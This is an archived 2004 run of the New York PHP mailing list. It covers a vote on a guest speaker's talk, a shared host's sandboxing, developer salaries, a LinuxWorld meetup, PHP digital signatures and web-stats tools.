Jun 02, 2004 at 01:54:08PM -0400, Scott Mattocks wrote: > >I don't know about most people -- > >I'd rather he talk about PHP 5 > > +1 +1 Me, too. From nyphp at websapp.com Wed Jun 2 13:59:54 2004 From: nyphp at websapp.com (Daniel Kushner) Date: Wed, 2 Jun 2004 13:59:54 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <20040602181024.GO16460@thighmaster.digitalpulp.com> Message-ID: <200406021759.i52HxtaW012763@ns5.oddcast.com> > > >I don't know about most people -- > > >I'd rather he talk about PHP 5 > > > > +1 > > +1 > +1 From pierre.vanbockstaele at mutualofamerica.com Wed Jun 2 14:02:09 2004 From: pierre.vanbockstaele at mutualofamerica.com (Van Bockstaele, Pierre) Date: Wed, 2 Jun 2004 14:02:09 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle Message-ID: <6E561806FD31E54D9EBB163D3F525B5B012B635E@nynt6.nydomain> PHP5 OOP through Patterns PierreVB <-----Original Message----- Message-ID: <20040602181204.31A21A8633@virtu.nyphp.org> I would absolutely agree that OOP in PHP5 would be far more well received. High performance is a great subject, but we have a lot more php performance articles available to us than we do php5 resources. Er.. Um.. +1 Mark From shiflett at php.net Wed Jun 2 14:13:37 2004 From: shiflett at php.net (Chris Shiflett) Date: Wed, 2 Jun 2004 11:13:37 -0700 (PDT) Subject: [nycphp-talk] Pair Network's "security" model - could it be this bad? In-Reply-To: <40BCCB3D.7070408@ceruleansky.com> Message-ID: <20040602181337.62218.qmail@web14308.mail.yahoo.com> --- Jayesh Sheth wrote: > - when you setup a domain, you can choose whether PHP scripts are > run an apache module (aka "running as Apache") OR as CGI (aka > "running as my user") The CGI approach can definitely help, but only if you take advantage of it. You must restrict access to sensitive scripts to your user, otherwise there's no point. > - scripts are disabled from reading outside of their domain-files > directory (something is changed in PHP's configurationhere ) > ["open_basedir Restrictions in effect, file is in wrong directory"] > > - scripts cannot access external programs ["backticks (``), system(), > exec(), passthru()" are disabled] What kind of scripts? This sounds like it might be limited to PHP scripts. Are the attackers you're worried about only proficient in PHP? This seems unlikely to be always true. > Please correct me if this seems incorrect. Based on the email from Mark Armendariz, it sounds like this host might use a chroot jail for each account, and each jail has its own Apache. This is one of the most secure approaches, but shared servers are never going to be as secure as dedicated ones. This is one of the tradeoffs. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From mitchy at spacemonkeylabs.com Wed Jun 2 14:15:18 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Wed, 02 Jun 2004 14:15:18 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <200406021759.i52HxtaW012763@ns5.oddcast.com> References: <200406021759.i52HxtaW012763@ns5.oddcast.com> Message-ID: <40BE1936.2080109@spacemonkeylabs.com> Daniel Kushner wrote: >>>>I don't know about most people -- >>>>I'd rather he talk about PHP 5 >>>> >>>> >>>+1 >>> >>> >>+1 >> >> >> > >+1 > > > $vote++; From webmaster at localnotion.com Wed Jun 2 14:28:35 2004 From: webmaster at localnotion.com (Matthew Terenzio) Date: Wed, 2 Jun 2004 14:28:35 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702512053@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702512053@ehost011-1.exch011.intermedia.net> Message-ID: can't promise I'll make it but I frequent the audio archives. On Jun 2, 2004, at 1:45 PM, Hans Zaunere wrote: > 'PHP5 OOP through Patterns' >From hans not junk at nyphp.com Wed Jun 2 15:04:51 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 0459DA860A for ; Wed, 2 Jun 2004 15:04:51 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] June's Presentation with George Schlossnagle Date: Wed, 2 Jun 2004 12:04:48 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702512129 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] June's Presentation with George Schlossnagle Thread-Index: AcRIytlU/Qrium6LT3ykdacq8nO/rgAAIT8AAAJENDA= From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Jun 2004 19:04:51 -0000 > > > >I don't know about most people -- > > > >I'd rather he talk about PHP 5 > > >=20 > > > +1 > >=20 > > +1 > >=20 >=20 > +1 Thanks everyone; 5 it is From chendry at nyc.rr.com Wed Jun 2 15:42:27 2004 From: chendry at nyc.rr.com (Christopher Hendry) Date: Wed, 2 Jun 2004 15:42:27 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702512053@ehost011-1.exch011.intermedia.net> Message-ID: <200406021942.i52JgWS8029265@ms-smtp-01.rdc-nyc.rr.com> Both! Personally, I'd like the OO one, but it depends what his definition of 'High Performance' is... C -> -----Original Message----- -> From: talk-bounces at lists.nyphp.org -> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Hans Zaunere -> Sent: Wednesday, June 02, 2004 1:45 PM -> To: NYPHP Talk -> Subject: [nycphp-talk] June's Presentation with George Schlossnagle -> -> -> We have a very special guest speaker in June, George -> Schlossnagle. He's asked me to ping this list to determine -> which talk people would be most interested in. -> -> 'High Performance PHP' -> 'PHP5 OOP through Patterns' -> -> Please let me know ASAP. -> -> --- -> Hans Zaunere -> President -> New York PHP -> http://nyphp.org -> -> -> _______________________________________________ -> talk mailing list -> talk at lists.nyphp.org -> http://lists.nyphp.org/mailman/listinfo/talk -> From jsiegel1 at optonline.net Wed Jun 2 15:42:41 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Wed, 02 Jun 2004 15:42:41 -0400 Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <000e01c448ca$71e3ba80$e98d3818@oberon1> References: <000e01c448ca$71e3ba80$e98d3818@oberon1> Message-ID: <40BE2DB1.1090607@optonline.net> +1 Jeff S. Tim Gales wrote: > Hans Zaunere writes: > > >>...which talk people would be most interested in. >> >>'High Performance PHP' >>'PHP5 OOP through Patterns' >> >>Please let me know ASAP. > > > I don't know about most people -- > I'd rather he talk about PHP 5 > > > T. Gales & Associates > 'Helping People Connect with Technology' > > http://www.tgaconnect.com > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From dmintz at davidmintz.org Wed Jun 2 16:08:44 2004 From: dmintz at davidmintz.org (David Mintz) Date: Wed, 2 Jun 2004 16:08:44 -0400 (EDT) Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702512129@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702512129@ehost011-1.exch011.intermedia.net> Message-ID: On Wed, 2 Jun 2004, Hans Zaunere wrote: > > > > > >I don't know about most people -- > > > > >I'd rather he talk about PHP 5 > > > > > > > > +1 > > > > > > +1 > > > > > > > +1 > > Thanks everyone; 5 it is What, the polls are closed already? +1 --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From nyphp at enobrev.com Wed Jun 2 16:27:14 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Wed, 2 Jun 2004 16:27:14 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be thisbad? In-Reply-To: <20040602181337.62218.qmail@web14308.mail.yahoo.com> Message-ID: <20040602202726.D7B03A860A@virtu.nyphp.org> > Based on the email from Mark Armendariz, it sounds like this > host might use a chroot jail for each account, and each jail > has its own Apache. This is one of the most secure > approaches, but shared servers are never going to be as > secure as dedicated ones. This is one of the tradeoffs. > > Chris > > ===== > Chris Shiflett - http://shiflett.org/ That's exacty what it was!!! Ha! I knew somebody would know. Mark From csnyder at chxo.com Wed Jun 2 17:07:19 2004 From: csnyder at chxo.com (Chris Snyder) Date: Wed, 02 Jun 2004 17:07:19 -0400 Subject: [nycphp-talk] Pair Network's "security" model - could it be thisbad? In-Reply-To: <20040602202726.D7B03A860A@virtu.nyphp.org> References: <20040602202726.D7B03A860A@virtu.nyphp.org> Message-ID: <40BE4187.4000402@chxo.com> Mark Armendariz quoted Chris Shiftlett: >>Based on the email from Mark Armendariz, it sounds like this >>host might use a chroot jail for each account, and each jail >>has its own Apache. >> I'm intrigued by this... doesn't it mean that each account has it's own IP address? Or is there some sort of transparent proxy that listens on port 80 and forwards each request to the appropriate server (which is listening on some high-numbered port)? From lists at prusak.com Wed Jun 2 17:18:43 2004 From: lists at prusak.com (Ophir Prusak) Date: Wed, 02 Jun 2004 17:18:43 -0400 Subject: [nycphp-talk] What does a 40k(ish) salary get me? In-Reply-To: <20040602202726.D7B03A860A@virtu.nyphp.org> References: <20040602202726.D7B03A860A@virtu.nyphp.org> Message-ID: <40BE4433.207@prusak.com> Hi All, The company I work at (I'm the lead developer) has OKed an additional developers position at around 40k (40+). I've been looking at some other job offers out there to get an idea of how experienced a developer we can get for that ballpark. I saw a few postings on craigs list like these: http://newyork.craigslist.org/mnh/eng/30780251.html http://newyork.craigslist.org/mnh/eng/30286153.html http://newyork.craigslist.org/mnh/eng/31709044.html and I'm wondering - can I really get a "PHP Rock Star" with "thorough knowledge and experience in PHP, MySQL, and JavaScript" and "3+ years experience" for 40k? Thoughts ? Thanx Ophir p.s. I'll put up an official job posting in a couple of days so please don't send me any resumes yet ;) From joel at tagword.com Wed Jun 2 18:57:34 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 02 Jun 2004 18:57:34 -0400 Subject: [nycphp-talk] What does a 40k(ish) salary get me? In-Reply-To: <40BE4433.207@prusak.com> References: <20040602202726.D7B03A860A@virtu.nyphp.org> <40BE4433.207@prusak.com> Message-ID: <1086217054.5417.34.camel@bezel> On Wed, 2004-06-02 at 17:18, Ophir Prusak wrote: > and I'm wondering - can I really get a "PHP Rock Star" with "thorough > knowledge and experience in PHP, MySQL, and JavaScript" and "3+ years > experience" for 40k? no You will however get someone who "thinks" they are a "rock star" and trumpets about 3+ (insert hazy definition of three years) and who will jack up your databases real good ;) You pay for what you get in general and 40k is 'really' bad for here in NY when the building janitors average salary is 70k. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From jeffknight at mac.com Wed Jun 2 17:46:06 2004 From: jeffknight at mac.com (putamare) Date: Wed, 2 Jun 2004 17:46:06 -0400 Subject: [nycphp-talk] What does a 40k(ish) salary get me? In-Reply-To: <1086217054.5417.34.camel@bezel> References: <20040602202726.D7B03A860A@virtu.nyphp.org> <40BE4433.207@prusak.com> <1086217054.5417.34.camel@bezel> Message-ID: <4042F508-B4DE-11D8-917E-000393B9FB36@mac.com> For 40k, I'd me more than happy to come in late (if at all), drink all your booze, chase around the groupies, and throw the occasional TV out the window; but that's about all. You wouldn't get me in Spandex for less than twice that... On Jun 2, 2004, at 6:57 PM, Joel De Gan wrote: > > On Wed, 2004-06-02 at 17:18, Ophir Prusak wrote: >> and I'm wondering - can I really get a "PHP Rock Star" with "thorough >> knowledge and experience in PHP, MySQL, and JavaScript" and "3+ years >> experience" for 40k? > > no > > You will however get someone who "thinks" they are a "rock star" and > trumpets about 3+ (insert hazy definition of three years) and who will > jack up your databases real good ;) > > You pay for what you get in general and 40k is 'really' bad for here in > NY when the building janitors average salary is 70k. > > -- > joeldg - developer, Intercosmos media group. > http://lucifer.intercosmos.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > Jeff Knight putamare not junk at putamare.net From phillip.powell at adnet-sys.com Wed Jun 2 19:15:35 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 02 Jun 2004 19:15:35 -0400 Subject: [nycphp-talk] What does a 40k(ish) salary get me? In-Reply-To: <4042F508-B4DE-11D8-917E-000393B9FB36@mac.com> References: <20040602202726.D7B03A860A@virtu.nyphp.org> <40BE4433.207@prusak.com> <1086217054.5417.34.camel@bezel> <4042F508-B4DE-11D8-917E-000393B9FB36@mac.com> Message-ID: <40BE5F97.8070404@adnet-sys.com> putamare wrote: > For 40k, I'd me more than happy to come in late (if at all), drink all > your booze, chase around the groupies, and throw the occasional TV out > the window; but that's about all. You wouldn't get me in Spandex for > less than twice that... > > > On Jun 2, 2004, at 6:57 PM, Joel De Gan wrote: > >> >> On Wed, 2004-06-02 at 17:18, Ophir Prusak wrote: >> >>> and I'm wondering - can I really get a "PHP Rock Star" with "thorough >>> knowledge and experience in PHP, MySQL, and JavaScript" and "3+ years >>> experience" for 40k? >> >> >> no >> >> You will however get someone who "thinks" they are a "rock star" and >> trumpets about 3+ (insert hazy definition of three years) and who will >> jack up your databases real good ;) >> >> You pay for what you get in general and 40k is 'really' bad for here in >> NY when the building janitors average salary is 70k. >> >> -- >> joeldg - developer, Intercosmos media group. >> http://lucifer.intercosmos.net >> >> _______________________________________________ >> talk mailing list >> talk at lists.nyphp.org >> http://lists.nyphp.org/mailman/listinfo/talk >> > Jeff Knight > putamare not junk at putamare.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > 40K will get you a "PHP Rock Star"... in India or Eastern Europe. Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From sm11szw02 at sneakemail.com Wed Jun 2 19:52:35 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 02 Jun 2004 19:52:35 -0400 Subject: [nycphp-talk] What does a 40k(ish) salary get me? In-Reply-To: <40BE5F97.8070404@adnet-sys.com> References: <20040602202726.D7B03A860A@virtu.nyphp.org> <40BE4433.207@prusak.com> <1086217054.5417.34.camel@bezel> <4042F508-B4DE-11D8-917E-000393B9FB36@mac.com> <40BE5F97.8070404@adnet-sys.com> Message-ID: <30671-57100@sneakemail.com> Phillip Powell phillip.powell-at-adnet-sys.com |nyphp 04/2004| wrote: > putamare wrote: > >> For 40k, I'd me more than happy to come in late (if at all), drink >> all your booze, chase around the groupies, and throw the occasional >> TV out the window; but that's about all. You wouldn't get me in >> Spandex for less than twice that... >> >> >> On Jun 2, 2004, at 6:57 PM, Joel De Gan wrote: >> >>> >>> On Wed, 2004-06-02 at 17:18, Ophir Prusak wrote: >>> >>>> and I'm wondering - can I really get a "PHP Rock Star" with "thorough >>>> knowledge and experience in PHP, MySQL, and JavaScript" and "3+ years >>>> experience" for 40k? >>> >>> >>> >>> no >>> >>> You will however get someone who "thinks" they are a "rock star" and >>> trumpets about 3+ (insert hazy definition of three years) and who will >>> jack up your databases real good ;) >>> >>> You pay for what you get in general and 40k is 'really' bad for here in >>> NY when the building janitors average salary is 70k. >>> >>> -- >>> joeldg - developer, Intercosmos media group. >>> http://lucifer.intercosmos.net >>> >>> _______________________________________________ >>> talk mailing list >>> talk at lists.nyphp.org >>> http://lists.nyphp.org/mailman/listinfo/talk >>> >> Jeff Knight >> putamare not junk at putamare.net >> >> _______________________________________________ >> talk mailing list >> talk at lists.nyphp.org >> http://lists.nyphp.org/mailman/listinfo/talk >> > 40K will get you a "PHP Rock Star"... in India or Eastern Europe. > > Phil > I didn't want to be first.... I have no experience hiring in Manhattan. However, in North Jersey you'd get a junior who has 1 year experience scripting, at best. From mjdewitt at alexcommgrp.com Wed Jun 2 19:57:42 2004 From: mjdewitt at alexcommgrp.com (DeWitt, Michael) Date: Wed, 2 Jun 2004 19:57:42 -0400 Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? Message-ID: Anyone going to LinuxWorld San Francisco in August http://www.linuxworldexpo.com/live/12/events/12SFO04A ? If so, please let me know. A publisher is interested in putting together a meeting to discuss PHP 5 for just members of NYPHP (because we are so loved ;-) I can be reached at mailto:michael at alexcommgrp.com Thanks Michael DeWitt NYPHP From dcech at phpwerx.net Wed Jun 2 20:24:10 2004 From: dcech at phpwerx.net (Dan Cech) Date: Wed, 02 Jun 2004 20:24:10 -0400 Subject: [nycphp-talk] Digital Signatures in PHP Message-ID: <40BE6FAA.8000507@phpwerx.net> Hi, I'm trying to figure out the best way to create digital signatures in PHP. I'm not picky about interoperability as the purpose is purely to tell if someone has tampered with a given file. The openssl_sign and openssl_verify functions look like exactly what I'm after but the manual warns they are experimental and not to be used...so I'm asking if anyone has already solved this problem, or has used the openssl functions successfully. I could just do the hashing myself and use the openssl_encrypt/decrypt functions which don't seem to be marked experimental, but that just smacks of effort, and doesn't seem too efficient either. My other thought was mcrypt, but it only seems to support symmetrical ciphers which don't really help me out. I'd appreciate any advice you can give me, Dan Cech From nyphp at websapp.com Wed Jun 2 20:44:15 2004 From: nyphp at websapp.com (Daniel Kushner) Date: Wed, 2 Jun 2004 20:44:15 -0400 Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? In-Reply-To: Message-ID: <200406030044.i530iGMN021598@ns5.oddcast.com> Michael, I tried to reply but got this: =============================================== Your message To: michael at alexcommgrp.com Subject: LW SF Sent: Wed, 2 Jun 2004 20:39:42 -0400 did not reach the following recipient(s): michael at alexcommgrp.com on Wed, 2 Jun 2004 20:39:54 -0400 The recipient name is not recognized The MTS-ID of the original message is: c=US;a= ;p=ARC;l=ARCSERV0406030039LGGK8L4D MSEXCH:IMS:ARC:ARCNET:ARCSERV 0 (000C05A6) Unknown Recipient =============================================== Anyway, I might be there. -Daniel > -----Original Message----- > From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of DeWitt, Michael > Sent: Wednesday, June 02, 2004 19:58 > To: 'NYPHP Talk' > Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? > > > Anyone going to LinuxWorld San Francisco in August > http://www.linuxworldexpo.com/live/12/events/12SFO04A ? > > If so, please let me know. A publisher is interested in > putting together a meeting to discuss PHP 5 for just members > of NYPHP (because we are so loved > ;-) > > I can be reached at mailto:michael at alexcommgrp.com > > Thanks > > Michael DeWitt > NYPHP > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From adam at trachtenberg.com Wed Jun 2 20:48:34 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Wed, 2 Jun 2004 20:48:34 -0400 (EDT) Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? In-Reply-To: References: Message-ID: On Wed, 2 Jun 2004, DeWitt, Michael wrote: > Anyone going to LinuxWorld San Francisco in August > http://www.linuxworldexpo.com/live/12/events/12SFO04A ? I'll be there. I'm actually speaking on "Cross Platform Web Services for eCommerce" (e.g. writing apps using the eBay API). My talk is in the afternoon, after Andi's "PHP 5" talk. > If so, please let me know. A publisher is interested in putting together a > meeting to discuss PHP 5 for just members of NYPHP (because we are so loved) Well, depending upon who your publisher is, you may or may not want me to attend. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From shiflett at php.net Wed Jun 2 22:54:43 2004 From: shiflett at php.net (Chris Shiflett) Date: Wed, 2 Jun 2004 19:54:43 -0700 (PDT) Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <200406021942.i52JgWS8029265@ms-smtp-01.rdc-nyc.rr.com> Message-ID: <20040603025443.68278.qmail@web14304.mail.yahoo.com> --- Christopher Hendry wrote: > Personally, I'd like the OO one, but it depends what his definition > of 'High Performance' is... George and his brother wrote an MTA that can process over 400 messages per second, he's the author of APC (the open source compiler cache for PHP), and he's regarded as the top authority on PHP performance and scalability. I think his definition of high performance exceeds any of our own. :-) Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From shiflett at php.net Wed Jun 2 22:57:32 2004 From: shiflett at php.net (Chris Shiflett) Date: Wed, 2 Jun 2004 19:57:32 -0700 (PDT) Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? In-Reply-To: Message-ID: <20040603025732.79140.qmail@web14303.mail.yahoo.com> --- Adam Maccabee Trachtenberg wrote: > > Anyone going to LinuxWorld San Francisco in August > > http://www.linuxworldexpo.com/live/12/events/12SFO04A ? > > I'll be there. I'm actually speaking on "Cross Platform Web Services > for eCommerce" (e.g. writing apps using the eBay API). > > My talk is in the afternoon, after Andi's "PHP 5" talk. > > > If so, please let me know. A publisher is interested in putting > > together a meeting to discuss PHP 5 for just members of NYPHP > > (because we are so loved) > > Well, depending upon who your publisher is, you may or may not want > me to attend. :) This sounds interesting. Maybe I can sleep on Adam's floor. :-) Count me as a maybe. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From pl at eskimo.com Thu Jun 3 01:05:57 2004 From: pl at eskimo.com (Peter Lehrer) Date: Thu, 3 Jun 2004 01:05:57 -0400 Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? References: Message-ID: <001701c44928$75d920e0$84b50642@default> I was thinking about going. peter l. ----- Original Message ----- From: "DeWitt, Michael" To: "'NYPHP Talk'" Sent: Wednesday, June 02, 2004 7:57 PM Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? > > Anyone going to LinuxWorld San Francisco in August > http://www.linuxworldexpo.com/live/12/events/12SFO04A ? > > If so, please let me know. A publisher is interested in putting together a > meeting to discuss PHP 5 for just members of NYPHP (because we are so loved > ;-) > > I can be reached at mailto:michael at alexcommgrp.com > > Thanks > > Michael DeWitt > NYPHP > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From dmintz at davidmintz.org Thu Jun 3 09:39:15 2004 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 3 Jun 2004 09:39:15 -0400 (EDT) Subject: [nycphp-talk] June's Presentation with George Schlossnagle In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702512129@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702512129@ehost011-1.exch011.intermedia.net> Message-ID: Whichever topic he does, I guess George will just have to come back and do the other one real soon. --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From jsiegel1 at optonline.net Thu Jun 3 10:38:29 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Thu, 03 Jun 2004 10:38:29 -0400 Subject: [nycphp-talk] PHP Solution for Website stats Message-ID: <40BF37E5.4000409@optonline.net> The web stats provided by my client's ISP (shared hosting) leaves a lot to be desired (seems that some things are not being recorded in the stats log). Just wondering if there is a PHP/MySQL-based solution that will allow us to get some real stats. Jeff Siegel From dmintz at davidmintz.org Thu Jun 3 10:45:50 2004 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 3 Jun 2004 10:45:50 -0400 (EDT) Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40BF37E5.4000409@optonline.net> References: <40BF37E5.4000409@optonline.net> Message-ID: Jeremy Zawodny has some interesting ideas about using MySQL for logging: http://www.linux-mag.com/2002-10/lamp_01.html On Thu, 3 Jun 2004, Jeff Siegel wrote: > The web stats provided by my client's ISP (shared hosting) leaves a lot > to be desired (seems that some things are not being recorded in the > stats log). Just wondering if there is a PHP/MySQL-based solution that > will allow us to get some real stats. --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From dmintz at davidmintz.org Thu Jun 3 11:00:09 2004 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 3 Jun 2004 11:00:09 -0400 (EDT) Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: References: <40BF37E5.4000409@optonline.net> Message-ID: OTOH I take it back. In a shared hosting environment you're not likely to be able to pick and choose which Apache modules to run. On Thu, 3 Jun 2004, David Mintz wrote: > > Jeremy Zawodny has some interesting ideas about using MySQL > for logging: http://www.linux-mag.com/2002-10/lamp_01.html > > > On Thu, 3 Jun 2004, Jeff Siegel wrote: > > > The web stats provided by my client's ISP (shared hosting) leaves a lot > > to be desired (seems that some things are not being recorded in the > > stats log). Just wondering if there is a PHP/MySQL-based solution that > > will allow us to get some real stats. > > > --- > David Mintz > http://davidmintz.org/ > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From tgales at tgaconnect.com Thu Jun 3 11:02:03 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 3 Jun 2004 11:02:03 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40BF37E5.4000409@optonline.net> Message-ID: <000201c4497b$bb445840$e98d3818@oberon1> Jeff Siegel writes: > Just wondering if there is a PHP/MySQL-based > solution that > will allow us to get some real stats. maybe you should have a look at this: http://www.phpopentracker.de/apidoc/hierarchy.html T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From sm11szw02 at sneakemail.com Thu Jun 3 11:05:34 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Thu, 03 Jun 2004 11:05:34 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: References: <40BF37E5.4000409@optonline.net> Message-ID: <399-59696@sneakemail.com> David Mintz dmintz-at-davidmintz.org |nyphp 04/2004| wrote: >Jeremy Zawodny has some interesting ideas about using MySQL >for logging: http://www.linux-mag.com/2002-10/lamp_01.html > > >On Thu, 3 Jun 2004, Jeff Siegel wrote: > > > >>The web stats provided by my client's ISP (shared hosting) leaves a lot >>to be desired (seems that some things are not being recorded in the >>stats log). Just wondering if there is a PHP/MySQL-based solution that >>will allow us to get some real stats. >> >> > > >--- >David Mintz >http://davidmintz.org/ > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > mod_log_sql looks like a good solution for nyphp.org (?) In fact, it would be very interesting if someone wrote an import/export routine to bring existing access logs into the mod_log_sql database... then we could combine the past 2 years of log with forward logs.... I imagine it would take some serious MySQL expertise though, so maybe it's asking too much ;-) From rolan at omnistep.com Thu Jun 3 11:09:30 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 03 Jun 2004 11:09:30 -0400 Subject: [nycphp-talk] "mod PHP" vs. PHP Message-ID: <40BF3F2A.7030601@omnistep.com> mod_php refers to PHP compiled as an Apache module, where as PHP (alone) might refer to the cgi version. ~Rolan > I have a somewhat stupid question: what's the difference between "mod > PHP" and PHP? From jsiegel1 at optonline.net Thu Jun 3 11:09:33 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Thu, 03 Jun 2004 11:09:33 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: References: <40BF37E5.4000409@optonline.net> Message-ID: <40BF3F2D.8060400@optonline.net> Thanks for pointing this out. I remember that article. I'm looking for a "brain-dead" solution, i.e., one that can be implemented in minutes. Jeff David Mintz wrote: > Jeremy Zawodny has some interesting ideas about using MySQL > for logging: http://www.linux-mag.com/2002-10/lamp_01.html > > > On Thu, 3 Jun 2004, Jeff Siegel wrote: > > >>The web stats provided by my client's ISP (shared hosting) leaves a lot >>to be desired (seems that some things are not being recorded in the >>stats log). Just wondering if there is a PHP/MySQL-based solution that >>will allow us to get some real stats. > > > > --- > David Mintz > http://davidmintz.org/ > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From rolan at omnistep.com Thu Jun 3 11:12:42 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 03 Jun 2004 11:12:42 -0400 Subject: [nycphp-talk] Digital Signatures in PHP Message-ID: <40BF3FEA.80301@omnistep.com> How about md5() ? ~Rolan >Hi, >I'm trying to figure out the best way to create digital signatures in >PHP. From rolan at omnistep.com Thu Jun 3 11:22:51 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 03 Jun 2004 11:22:51 -0400 Subject: [nycphp-talk] umm... clew? Message-ID: <40BF424B.6060702@omnistep.com> Ok. I've stumbled across a need for Clew, or perhaps there might a way to complish this of which I am not aware: I choose not to receieve any emails from the nyphp-talk list, (read it once a day on the web) but I do want to reply to some messages in a manner such that the web interface organizes the threads properly.. (in my 2 previous reply posts, I added a "Re:" to the subject, however mailman seemed pseudo-intelligent enough to strip it out when processing my replies). Any clews? ~Rolan From tgales at tgaconnect.com Thu Jun 3 11:35:09 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 3 Jun 2004 11:35:09 -0400 Subject: [nycphp-talk] umm... clew? In-Reply-To: <40BF424B.6060702@omnistep.com> Message-ID: <000501c44980$5b03e540$e98d3818@oberon1> Well for starters -- you can read "Description and Milestones" (for clew) at: http://clew.nyphp.org/clew/clew/status and you can find out more by reading (and using) clew at: http://clew.nyphp.org/clew/clew Let me know if you have any questions -- through clew of course!! T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com > -----Original Message----- > From: 